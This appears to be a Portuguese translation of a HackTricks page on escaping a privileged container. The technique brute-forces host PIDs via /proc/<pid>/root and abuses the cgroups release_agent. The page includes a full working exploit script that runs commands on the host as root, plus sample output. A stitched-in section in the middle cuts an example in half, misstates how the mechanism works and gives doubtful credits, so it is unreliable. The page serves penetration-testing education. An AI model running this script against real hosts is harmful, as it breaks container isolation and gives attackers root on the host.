mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 13:33:37 +00:00
234 lines
12 KiB
Markdown
234 lines
12 KiB
Markdown
# Introdução
|
|
|
|
Os PoCs anteriores funcionam bem quando o contêiner é configurado com um driver de armazenamento que expõe o **caminho completo do host do ponto de montagem**, por exemplo, `overlayfs`, no entanto, existem configurações que **não revelam claramente o ponto de montagem do sistema de arquivos do host**.
|
|
|
|
Neste PoC, em vez de usar o caminho onde o contêiner está localizado dentro do sistema de arquivos do host, vamos descobrir um PID do contêiner dentro do host.
|
|
|
|
## Exemplos de contêiner que não expõem a localização do caminho dentro do host
|
|
|
|
### Kata Containers
|
|
```
|
|
root@container:~$ head -1 /etc/mtab
|
|
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
|
```
|
|
O [Kata Containers](https://katacontainers.io) por padrão monta o sistema de arquivos raiz de um contêiner sobre `9pfs`. Isso não revela nenhuma informação sobre a localização do sistema de arquivos do contêiner na Máquina Virtual do Kata Containers.
|
|
|
|
### Device Mapper
|
|
```
|
|
root@container:~$ head -1 /etc/mtab
|
|
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
|
```
|
|
Eu vi um container com este ponto de montagem raiz em um ambiente ao vivo, acredito que o container estava sendo executado com uma configuração específica de driver de armazenamento `devicemapper`, mas até agora não consegui replicar esse comportamento em um ambiente de teste.
|
|
|
|
# PoC
|
|
|
|
A única informação necessária é o **caminho completo, relativo ao host do container, de um arquivo para executar dentro do container**. Sem ser capaz de discernir isso a partir dos pontos de montagem dentro do container, precisamos procurar em outro lugar.
|
|
|
|
## /proc/\<pid>/root
|
|
|
|
O pseudo-sistema de arquivos `/proc` do Linux expõe as estruturas de dados do processo do kernel para todos os processos em execução em um sistema, incluindo aqueles em diferentes namespaces, por exemplo, dentro de um container. Isso pode ser mostrado executando um comando em um container e acessando o diretório `/proc` do processo no host:Container.
|
|
```bash
|
|
root@container:~$ sleep 100
|
|
```
|
|
|
|
```bash
|
|
root@host:~$ ps -eaf | grep sleep
|
|
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
|
root@host:~$ ls -la /proc/`pidof sleep`
|
|
total 0
|
|
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
|
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
|
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
|
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
|
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
|
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
|
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
|
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
|
...
|
|
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
|
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
|
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
|
...
|
|
```
|
|
Como observação, a estrutura de dados `/proc/<pid>/root` é algo que me confundiu por muito tempo, eu nunca conseguia entender por que ter um link simbólico para `/` era útil, até que eu li a definição real nas páginas do manual:
|
|
|
|
> /proc/\[pid]/root
|
|
>
|
|
> UNIX e Linux suportam a ideia de um root do sistema de arquivos por processo, definido pelo sistema de chamada chroot(2). Este arquivo é um link simbólico que aponta para o diretório raiz do processo e se comporta da mesma forma que exe e fd/\*.
|
|
>
|
|
> No entanto, observe que este arquivo não é apenas um link simbólico. Ele fornece a mesma visão do sistema de arquivos (incluindo namespaces e o conjunto de montagens por processo) que o próprio processo.
|
|
|
|
O link simbólico **`/proc/<pid>/root` pode ser usado como um caminho relativo ao host para qualquer arquivo dentro de um contêiner**:
|
|
```bash
|
|
root@container:~$ echo findme > /findme
|
|
root@container:~$ sleep 100
|
|
```
|
|
|
|
```bash
|
|
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
|
findme
|
|
```
|
|
{% hint style="warning" %}
|
|
**Isso muda o requisito para o ataque de conhecer o caminho completo, relativo ao host do contêiner, de um arquivo dentro do contêiner, para conhecer o pid de** _**qualquer**_ **processo em execução no contêiner.**
|
|
{% endhint %}
|
|
|
|
## Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
|
|
|
Isso é realmente a parte fácil, ids de processo no Linux são numéricos e atribuídos sequencialmente. O processo `init` é atribuído ao processo id `1` e todos os processos subsequentes são atribuídos a ids incrementais. Para identificar o **pid do processo host de um processo dentro de um contêiner, pode ser usada uma busca incremental de força bruta**:
|
|
```
|
|
root@container:~$ echo findme > /findme
|
|
root@container:~$ sleep 100
|
|
```
|
|
# Explorando o Docker para Escalação de Privilégios: O Exploit do Release Agent usando Caminhos Relativos para PIDs
|
|
|
|
## Descrição
|
|
|
|
Este exploit aproveita o recurso do Docker de permitir que um contêiner execute um script de shell como um release agent quando o contêiner é desligado. O script de shell é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
|
|
|
|
## Detalhes
|
|
|
|
Quando um contêiner é desligado, o Docker executa um script de shell como um release agent. O script é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
|
|
|
|
O exploit funciona da seguinte maneira:
|
|
|
|
1. O atacante cria um contêiner Docker com um script de shell malicioso como release agent.
|
|
2. O atacante desliga o contêiner.
|
|
3. O Docker executa o script de shell como release agent com privilégios de root.
|
|
4. O script de shell usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.
|
|
|
|
O exploit pode ser usado para executar comandos maliciosos no host, como adicionar um usuário com privilégios de root, instalar um backdoor ou roubar informações confidenciais.
|
|
|
|
## Mitigação
|
|
|
|
Para mitigar esse exploit, siga estas práticas recomendadas:
|
|
|
|
- Não permita que contêineres executem scripts de shell como release agents.
|
|
- Use o Docker em modo seguro para limitar o acesso do contêiner ao host.
|
|
- Use o SELinux ou o AppArmor para restringir as ações do contêiner no host.
|
|
- Monitore o sistema em busca de atividades suspeitas.
|
|
|
|
## Créditos
|
|
|
|
Este exploit foi descoberto por Felix Wilhelm e apresentado na conferência Black Hat Europe 2017.
|
|
```bash
|
|
root@host:~$ COUNTER=1
|
|
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
|
root@host:~$ echo ${COUNTER}
|
|
7822
|
|
root@host:~$ cat /proc/${COUNTER}/root/findme
|
|
findme
|
|
```
|
|
## Colocando Tudo Junto <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
|
|
|
Para completar este ataque, a técnica de força bruta pode ser usada para **adivinhar o PID para o caminho `/proc/<pid>/root/payload.sh`**, com **cada iteração** escrevendo o caminho do PID adivinhado **no arquivo `release_agent` dos cgroups, acionando o `release_agent`** e verificando se um arquivo de saída é criado.
|
|
|
|
A única ressalva com esta técnica é que ela não é de forma alguma sutil e pode aumentar muito o número de PIDs. Como nenhum processo de longa duração é mantido em execução, isso _não deveria_ causar problemas de confiabilidade, mas não me cite sobre isso.
|
|
|
|
O PoC abaixo implementa essas técnicas para fornecer um ataque mais genérico do que o apresentado inicialmente no PoC original de Felix para escapar de um contêiner privilegiado usando a funcionalidade do **arquivo `release_agent` dos cgroups**:
|
|
```bash
|
|
#!/bin/sh
|
|
|
|
OUTPUT_DIR="/"
|
|
MAX_PID=65535
|
|
CGROUP_NAME="xyx"
|
|
CGROUP_MOUNT="/tmp/cgrp"
|
|
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
|
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
|
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
|
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
|
|
|
# Run a process for which we can search for (not needed in reality, but nice to have)
|
|
sleep 10000 &
|
|
|
|
# Prepare the payload script to execute on the host
|
|
cat > ${PAYLOAD_PATH} << __EOF__
|
|
#!/bin/sh
|
|
|
|
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
|
|
|
# Commands to run on the host<
|
|
ps -eaf > \${OUTPATH} 2>&1
|
|
__EOF__
|
|
|
|
# Make the payload script executable
|
|
chmod a+x ${PAYLOAD_PATH}
|
|
|
|
# Set up the cgroup mount using the memory resource cgroup controller
|
|
mkdir ${CGROUP_MOUNT}
|
|
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
|
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
|
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|
|
|
# Brute force the host pid until the output path is created, or we run out of guesses
|
|
TPID=1
|
|
while [ ! -f ${OUTPUT_PATH} ]
|
|
do
|
|
if [ $((${TPID} % 100)) -eq 0 ]
|
|
then
|
|
echo "Checking pid ${TPID}"
|
|
if [ ${TPID} -gt ${MAX_PID} ]
|
|
then
|
|
echo "Exiting at ${MAX_PID} :-("
|
|
exit 1
|
|
fi
|
|
fi
|
|
# Set the release_agent path to the guessed pid
|
|
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
|
# Trigger execution of the release_agent
|
|
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
|
TPID=$((${TPID} + 1))
|
|
done
|
|
|
|
# Wait for and cat the output
|
|
sleep 1
|
|
echo "Done! Output:"
|
|
cat ${OUTPUT_PATH}
|
|
```
|
|
Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:
|
|
```bash
|
|
root@container:~$ ./release_agent_pid_brute.sh
|
|
Checking pid 100
|
|
Checking pid 200
|
|
Checking pid 300
|
|
Checking pid 400
|
|
Checking pid 500
|
|
Checking pid 600
|
|
Checking pid 700
|
|
Checking pid 800
|
|
Checking pid 900
|
|
Checking pid 1000
|
|
Checking pid 1100
|
|
Checking pid 1200
|
|
|
|
Done! Output:
|
|
UID PID PPID C STIME TTY TIME CMD
|
|
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
|
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
|
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
|
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
|
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
|
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
|
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|
...
|
|
```
|
|
# Referências
|
|
|
|
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|